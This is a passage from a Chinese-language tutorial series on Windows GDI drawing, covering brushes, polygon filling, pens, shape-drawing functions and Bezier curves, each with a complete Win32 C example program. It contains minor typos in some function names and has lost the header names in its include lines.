		DispatchMessage(&msg);
	}

	return msg.wParam;
}
六月 2

GDI 画刷(10)

创建画刷

调用 CreateSoildBrushCreateHatchBrushCreateBrushIndirect 函数可以创建画刷。

CreateSoildBrush:创建实心画刷;

CreateHatchBrush:创建阴影画刷;

CreateBrushIndirect:根据 LOGBRUSH 结构的内容创建画刷;

Windows 使用被选入设备环境的画笔来描绘边线,使用被选入设备环境的画刷来填充图形。

画刷使用的示例代码:

// 定义画刷句柄(HBRUSH)
HBRUSH hBrush;

// 获取 GRAY_BRUSH 的句柄
hBrush = GetStockObject(GRAY_BRUSH);

// 将画刷选入当前的设备环境
SelectObject(hdc, hBrush);

将 NULL_PEN 画笔选入当前的设备环境,可以绘制不含边线的图形:

SelectObject(hdc, GetStockObject(NULL_PEN));

同样地,将 NULL_BRUSH 画刷选入当前的设备环境,可以绘制不填充内容的图形:

SelectObject(hdc, GetStockObject(NULL_BRUSH));

多边形填充(Polygon)

调用 Polygon 函数可以绘制一个带边框线且带填充效果的多边形,它的参数与 Polyline 函数类似:

BOOL Polygon(
    HDC hdc,                // 设备环境句柄
    CONST POINT *lpPoints,  // 端点的集合(POINT 类型数组)
    int nCount              // 端点的数量
);

调用 PolyPolygon 函数可以绘制多个待边框线且带填充效果的的多边形,它的参数与 PolyPolyline 函数类似:

BOOL PolyPolygon(
    HDC hdc,                  // 设备环境句柄
    CONST POINT *lpPoints,    // 所有端点的集合
    CONST INT *lpPolyCounts,  // 整型数组,每个元素是每个多边形各自的端点个数
    int nCount                // 多边形的数量
);

填充颜色取决于当前选入设备环境的画刷,填充模式可以调用 SetPolyFillMode 函数来设置:

  • ALTERNATE 模式(扫描线碰到奇数边则填充,偶数边则不填充)
  • WINDING 模式(能够一笔完成的图形则填充,否则不填充)
int SetPolyFillMode(
    HDC hdc,            // 设备环境句柄
    int iPolyFillMode   // 多边形填充模式,可选 ALTERNATE(交替)或 WINDING(螺旋)
);

五角星 Polygon 示例程序

#include 
#include 

#define TIMES 200
#define PI 3.1415926535897932384626433832795

LRESULT CALLBACK WindowProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {

    HDC hdc;
    PAINTSTRUCT ps;
    POINT ptCenter;
    POINT apt[5];
    HBRUSH hBrush, hOldBrush;

    static int cxClient, cyClient;

    switch (message) {

    case WM_SIZE:
        cxClient = LOWORD(lParam);
        cyClient = HIWORD(lParam);
        return 0;

    case WM_PAINT:
        hdc = BeginPaint(hwnd, &ps);

        ptCenter.x = cxClient / 2;
        ptCenter.y = cyClient / 2;

        apt[3].x = ptCenter.x;
        apt[3].y = ptCenter.y - TIMES;

        apt[1].x = (LONG)(ptCenter.x + cos(PI / 10) * TIMES);
        apt[1].y = (LONG)(ptCenter.y - sin(PI / 10) * TIMES);

        apt[4].x = (LONG)(ptCenter.x + cos(3 * PI / 10) * TIMES);
        apt[4].y = (LONG)(ptCenter.y + sin(3 * PI / 10) * TIMES);

        apt[2].x = (LONG)(ptCenter.x - cos(3 * PI / 10) * TIMES);
        apt[2].y = (LONG)(ptCenter.y + sin(3 * PI / 10) * TIMES);

        apt[0].x = (LONG)(ptCenter.x - cos(PI / 10) * TIMES);
        apt[0].y = (LONG)(ptCenter.y - sin(PI / 10) * TIMES);

        hBrush = CreateSolidBrush(RGB(255, 255, 0));
        hOldBrush = (HBRUSH)SelectObject(hdc, hBrush);

        Polygon(hdc, apt, 5);
        
        DeleteObject(SelectObject(hdc, hOldBrush));
        EndPaint(hwnd, &ps);
        return 0;

    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }

    return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

    LPCTSTR lpszClassName = TEXT("PolygonDemo");
    LPCTSTR lpszWindowName = TEXT("Polygon Demo Program");

    WNDCLASS wndclass;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wndclass.hInstance = hInstance;
    wndclass.lpfnWndProc = WindowProc;
    wndclass.lpszClassName = lpszClassName;
    wndclass.lpszMenuName = NULL;
    wndclass.style = CS_HREDRAW | CS_VREDRAW;

    if (!RegisterClass(&wndclass)) {
        MessageBox(NULL, TEXT("This program requires Windows NT!"), lpszWindowName, MB_ICONERROR);
        return 0;
    }

    HWND hwnd = CreateWindow(
        lpszClassName,
        lpszWindowName,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}
六月 1

GDI 画笔(9)

使用现有画笔

Windows 提供三种备用画笔(Stock Pen):BLACK_PEN(黑色画笔)、WHITE_PEN(白色画笔)、NULL_PEN(不绘制任何图形的画笔)。

调用 GetStockObject 函数可以获取备用画笔的句柄(HPEN),调用 SelectObject 函数可以将指定的画笔选入设备环境,并返回之前选入设备环境的画笔句柄:

// 定义画笔句柄
HPEN hPen, hPrevPen;

// 获取备用画笔的句柄
hPen = GetStockObject(WHITE_PEN);

// 将画笔选入设备环境,函数返回之前选入设备环境的画笔的句柄
hPrevPen = SelectObject(hdc, hPen);

GDI 对象使用规则

  • 最终应当删除所有由用户创建的 GDI 对象
  • 当 GDI 对象被选入一个有效的设备环境时,不可删除它
  • 不可删除备用对象(Stock Object)

创建画笔

调用 CreatePen 函数可以创建一个画笔,画笔句柄将作为返回值返回:

HPEN CreatePen(
    int fnPenStyle,    // 画笔样式(决定绘制的是实线、虚线或点线)
    int nWidth,        // 画笔宽度(为 0 时,将设为 1 个像素。虚线或点线只能为 1 个像素,否则将被设为实线)
    COLORREF crColor   // 画笔颜色(COLORREF 值,可以通过 RGB 宏指定)
);

调用 CreatePenIndirect 函数可以根据 LOGPEN(逻辑画笔)结构来建立一个画笔,画笔句柄将作为返回值返回:

LOGPEN 结构:

typedef struct tagLOGPEN { 
    UINT     lopnStyle; // 画笔样式
    POINT    lopnWidth; // 画笔宽度(Windows 仅使用 x 字段)
    COLORREF lopnColor; // 画笔颜色
} LOGPEN, *PLOGPEN;

CreatePenIndirect 函数:

HPEN CreatePenIndirect(
  CONST LOGPEN *lplgpn   // LOGPEN 结构的地址
);

选择画笔

调用 SelectObject 函数,可以将刚刚创建的画笔选入设备环境,并返回之前选入设备环境的画笔句柄:

HGDIOBJ SelectObject(
    HDC hdc,          // 设备环境句柄
    HGDIOBJ hgdiobj   // GDI 对象句柄(这里指画笔句柄)
);

删除画笔

调用 DeleteObject 函数,可以将使用完的画笔删除:

BOOL DeleteObject(
  HGDIOBJ hObject   // GDI 对象句柄(这里指画笔句柄)
);

注:不要删除已被选入设备环境的当前画笔

获取创建的画笔

调用 GetObject 函数可以从指定画笔句柄中,得到关于此画笔的 LOGPEN 结构的各个字段的值:

GetObject(hPen, sizeof(LOGPEN), (LPVOID)&logpen);

调用 GetCurrentObject 函数可以获取当前被选入设备环境的画笔句柄:

hPen = GetCurentObject(hdc, OBJ_PEN);

填充空隙

空隙的颜色由设备环境的背景模式和背景颜色所决定,默认的背景模式是 OPAQUE(不透明),即用背景颜色(默认为白色)填充。

调用 SetBkColor 函数可以改变 Windows 填充空隙的背景颜色:

COLORREF SetBkColor(
    HDC hdc,           // 设备环境句柄
    COLORREF crColor   // 背景颜色值(COLORREF)
);

调用 GetBkColor 函数可以得到 Windows 填充空隙的背景颜色,函数将它作为返回值返回:

COLORREF GetBkColor(
    HDC hdc   // 设备环境句柄
);

调用 SetBkMode 函数可以设置背景模式,设置成 TRANSPARENT 可以阻止 Windows 填充空隙:

int SetBkMode(
    HDC hdc,      // 设备环境句柄
    int iBkMode   // 背景模式,可选 QPAQUE(不透明)和 TRANSPARENT(透明)两种模式
);

绘图模式

二元光栅操作(ROP2,raster operation 2):Windows 绘制直线时,将画笔的像素颜色和目标显示表面的像素颜色按位进行布尔运算

默认情况下,绘图模式是 R2_COPYPEN,像素的简单复制。

  • R2_NOTCOPYPEN 像素复制为画笔颜色的反色
  • R2_BLACK 总是绘制为黑色
  • R2_WHITE 总是绘制为白色
  • R2_NOP 不操作
  • R2_NOT 将目标颜色取反,来获取绘制颜色

调用 SetROP2 函数可以设置一种新的绘图模式:

int SetROP2(
    HDC hdc,         // 设备环境句柄
    int fnDrawMode   // 绘图模式(以 R2 为前缀的标志)
);

调用 GetROP2 函数可以获取当前的绘图模式,作为返回值返回:

int GetROP2(
    HDC hdc   // 设备环境句柄
);

PENDEMO 示例程序

#include 
#include 

#define NUMS 1000
#define TWOPI 6.283185307179586476925286766559

LRESULT CALLBACK WindowProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {

    HDC hdc;
    PAINTSTRUCT ps;
    static LOGPEN logpen;
    static HPEN hRedPen;
    static HPEN hBluePen;
    static int cxClient, cyClient;
    POINT apt[NUMS];
    int i;

    switch (message) {

    case WM_CREATE:
        
        logpen.lopnColor = RGB(255, 0, 0);
        logpen.lopnStyle = PS_DASH;
        logpen.lopnWidth.x = 1;
        hRedPen = CreatePenIndirect(&logpen);

        logpen.lopnColor = RGB(0, 0, 255);
        logpen.lopnStyle = PS_INSIDEFRAME;
        logpen.lopnWidth.x = 3;
        hBluePen = CreatePenIndirect(&logpen);

        return 0;

    case WM_SIZE:
        cxClient = LOWORD(lParam);
        cyClient = HIWORD(lParam);

        return 0;

    case WM_PAINT:
        hdc = BeginPaint(hwnd, &ps);

        SelectObject(hdc, hRedPen);
        MoveToEx(hdc, 0, cyClient / 2, NULL);
        LineTo(hdc, cxClient, cyClient / 2);

        SelectObject(hdc, hBluePen);
        for (i = 0; i < NUMS; i++) {
            apt[i].x = i * cxClient / NUMS;
            apt[i].y = (int)(( 1 - sin(TWOPI * i / NUMS)) * cyClient / 2);
        }

        SetTextAlign(hdc, TA_TOP | TA_RIGHT);
        TextOut(hdc, cxClient - 12, 12, TEXT("y  =  sin  x"), 12);
        TextOut(hdc, cxClient / 2 - 12, cyClient / 2 + 12, TEXT("( π,  0 )"), 9);
        TextOut(hdc, cxClient - 12, cyClient / 2 + 12, TEXT("( 2 π,  0 )"), 11);

        SetTextAlign(hdc, TA_TOP | TA_LEFT);
        TextOut(hdc, 12, cyClient / 2 + 12, TEXT("( 0,  0 )"), 9);

        PolyBezier(hdc, apt, NUMS);

        EndPaint(hwnd, &ps);
        return 0;

    case WM_DESTROY:
        DeleteObject(hRedPen);
        DeleteObject(hBluePen);
        PostQuitMessage(0);
        return 0;
    }

    return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

    LPCTSTR lpszClassName = TEXT("PenDemo");
    LPCTSTR lpszWindowName = TEXT("Pen Demo Program");

    WNDCLASS wndclass;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wndclass.hInstance = hInstance;
    wndclass.lpfnWndProc = WindowProc;
    wndclass.lpszClassName = lpszClassName;
    wndclass.lpszMenuName = NULL;
    wndclass.style = CS_HREDRAW | CS_VREDRAW;

    if (!RegisterClass(&wndclass)) {
        MessageBox(NULL, TEXT("This program requires Windows NT!"), lpszWindowName, MB_ICONERROR);
        return 0;
    }

    HWND hwnd = CreateWindow(
        lpszClassName,
        lpszWindowName,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}
六月 1

GDI 边框绘制函数(8)

绘制矩形

调用 Rectangle 函数可以绘制一个矩形(它将填充这个矩形):

BOOL Rectangle(
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 左边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect  // 下边线的位置
);

绘制椭圆

调用 Ellipse 函数可以绘制一个椭圆,它和绘制矩形的参数相同:

BOOL Ellipse(
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 左边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect  // 下边线的位置
);

绘制圆角矩形

调用 RoundRect 函数可以绘制一个圆角矩形,它的边框与前面两个相同,并且还需要两个参数:

BOOL RoundRect(  
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 左边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect, // 下边线的位置
    int nWidth,      // 圆角上的小椭圆的宽度
    int nHeight      // 圆角上的小椭圆的高度
);

绘制弧线、弓形、扇形

分别调用 Arc、Chord、Pie 函数,可以绘制弧线、弓形和扇形,这三个函数参数相同:

BOOL Arc(
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 左边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect, // 下边线的位置
    int nXStartArc,  // 起始点 x 坐标
    int nYStartArc,  // 起始点 y 坐标
    int nXEndArc,    // 终点 x 坐标
    int nYEndArc     // 终点 y 坐标
);
BOOL Chord(
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 上边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect, // 下边线的位置
    int nXRadial1,   // 起始点 x 坐标
    int nYRadial1,   // 起始点 y 坐标
    int nXRadial2,   // 终点 x 坐标
    int nYRadial2    // 终点 y 坐标
);
BOOL Pie(
    HDC hdc,         // 设备环境句柄
    int nLeftRect,   // 左边线的位置
    int nTopRect,    // 上边线的位置
    int nRightRect,  // 右边线的位置
    int nBottomRect, // 下边线的位置
    int nXRadial1,   // 起始点 x 坐标
    int nYRadial1,   // 起始点 y 坐标
    int nXRadial2,   // 终点 x 坐标
    int nYRadial2    // 终点 y 坐标
);

这三个函数使用起点和终点来控制绘图,这样程序员就可以无需自行计算精确的坐标,就能完成绘制工作。

LINEDEMO 示例程序

#include 

LRESULT CALLBACK WindowProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {

    HDC hdc;
    PAINTSTRUCT ps;
    static int cxClient, cyClient;

    switch (message) {
    case WM_SIZE:
        cxClient = LOWORD(lParam);
        cyClient = HIWORD(lParam);
        return 0;

    case WM_PAINT:
        hdc = BeginPaint(hwnd, &ps);

        Rectangle(hdc, cxClient / 8, cyClient / 8, cxClient * 7 / 8, cyClient * 7 / 8);

        MoveToEx(hdc, 0, 0, NULL);
        LineTo(hdc, cxClient, cyClient);
        MoveToEx(hdc, 0, cyClient, NULL);
        LineTo(hdc, cxClient, 0);

        Ellipse(hdc, cxClient / 8, cyClient / 8, cxClient * 7 / 8, cyClient * 7 / 8);

        RoundRect(hdc, cxClient / 4, cyClient / 4, cxClient * 3 / 4, cyClient * 3 / 4, cxClient / 4, cyClient / 4);

        EndPaint(hwnd, &ps);
        return 0;

    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }

    return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

    LPCTSTR lpszClassName = TEXT("LineDemo");
    LPCTSTR lpszWindowName = TEXT("LineDemo Program");

    WNDCLASS wndclass;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wndclass.hInstance = hInstance;
    wndclass.lpfnWndProc = WindowProc;
    wndclass.lpszClassName = lpszClassName;
    wndclass.lpszMenuName = NULL;
    wndclass.style = CS_HREDRAW | CS_VREDRAW;

    if (!RegisterClass(&wndclass)) {
        MessageBox(NULL, TEXT("This program requires Windows NT!"), lpszWindowName, MB_ICONERROR);
        return 0;
    }

    HWND hwnd = CreateWindow(
        lpszClassName,
        lpszWindowName,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}
六月 1

GDI Bezier 样条曲线(7)

Bezier 样条曲线

Bezier 样条曲线使用四个点来定义:两个端点(起点和终点)和两个控点(用于使其不同程度地弯曲)。

绘制 Bezier 样条曲线

使用 PolyBezier 函数和 PolyBezierTo 函数可以绘制 Bezier 样条曲线:

BOOL PolyBezier(
    HDC hdc,            // 设备环境句柄
    CONST POINT* lppt,  // 端点和控制点(顺序是开始点、第一控点、第二控点、终点)
    DWORD cPoints       // 端点和控点的总数量
);
BOOL PolyBezierTo(
    HDC hdc,            // 设备环境句柄
    CONST POINT *lppt,  // 端点和控制点(顺序是第一控点、第二控点、终点)
    DWORD cCount        // 端点和控点的总数量
);

注:PolyBezierTo 函数把当前位置当做开始点,所以只需要给定其他三个点,函数返回时,当前位置将被设置为终点。

BEZIER 示例程序

#include 

void DrawBezier(HDC hdc, POINT apt[]) {
    PolyBezier(hdc, apt, 4);

    MoveToEx(hdc, apt[0].x, apt[0].y, NULL);
    LineTo(hdc, apt[1].x, apt[1].y);

    MoveToEx(hdc, apt[2].x, apt[2].y, NULL);
    LineTo(hdc, apt[3].x, apt[3].y);
}

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {

    HDC hdc;
    PAINTSTRUCT ps;
    static int cxClient, cyClient;
    static POINT apt[4];

    switch (message) {
    case WM_SIZE:

        cxClient = LOWORD(lParam);
        cyClient = HIWORD(lParam);

        apt[0].x = cxClient / 4;
        apt[0].y = cyClient / 2;

        apt[1].x = cxClient * 4 / 8;
        apt[1].y = cyClient / 4;

        apt[2].x = cxClient * 4 / 8;
        apt[2].y = cyClient * 3 / 4;

        apt[3].x = cxClient * 3 / 4;
        apt[3].y = cyClient / 2;

        return 0;

    case WM_LBUTTONDOWN:
    case WM_RBUTTONDOWN:
    case WM_MOUSEMOVE:
        if (wParam & MK_LBUTTON || wParam & MK_RBUTTON) {
            hdc = GetDC(hwnd);

            SelectObject(hdc, GetStockObject(BLACK_PEN));
            DrawBezier(hdc, apt);

            if (wParam & MK_LBUTTON) {
                apt[1].x = LOWORD(lParam);
                apt[1].y = HIWORD(lParam);
             }

            if (wParam & MK_RBUTTON) {
                apt[2].x = LOWORD(lParam);
                apt[2].y = HIWORD(lParam);
            }

            SelectObject(hdc, GetStockObject(WHITE_PEN));
            DrawBezier(hdc, apt);

            ReleaseDC(hwnd, hdc);
        }

        return 0;

    case WM_PAINT:
        InvalidateRect(hwnd, NULL, TRUE);
        hdc = BeginPaint(hwnd, &ps);

        SelectObject(hdc, GetStockObject(WHITE_PEN));
        DrawBezier(hdc, apt);

        EndPaint(hwnd, &ps);
        return 0;

    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }

    return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    
    LPCTSTR lpszClassName = TEXT("BezierDemo");
    LPCTSTR lpszWindowName = TEXT("Bezier Demo");
    WNDCLASS wndclass;
    HWND hwnd;
    MSG msg;

    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wndclass.hInstance = hInstance;
    wndclass.lpfnWndProc = WndProc;
    wndclass.lpszClassName = lpszClassName;
    wndclass.lpszMenuName = lpszWindowName;
    wndclass.style = CS_HREDRAW | CS_VREDRAW;

    if (!RegisterClass(&wndclass)) {
        MessageBox(NULL, TEXT("This program requires Windows NT!"), lpszWindowName, MB_ICONERROR);
        return 0;
    }

    hwnd = CreateWindow(
        lpszClassName,
        lpszWindowName,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL
    );


    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}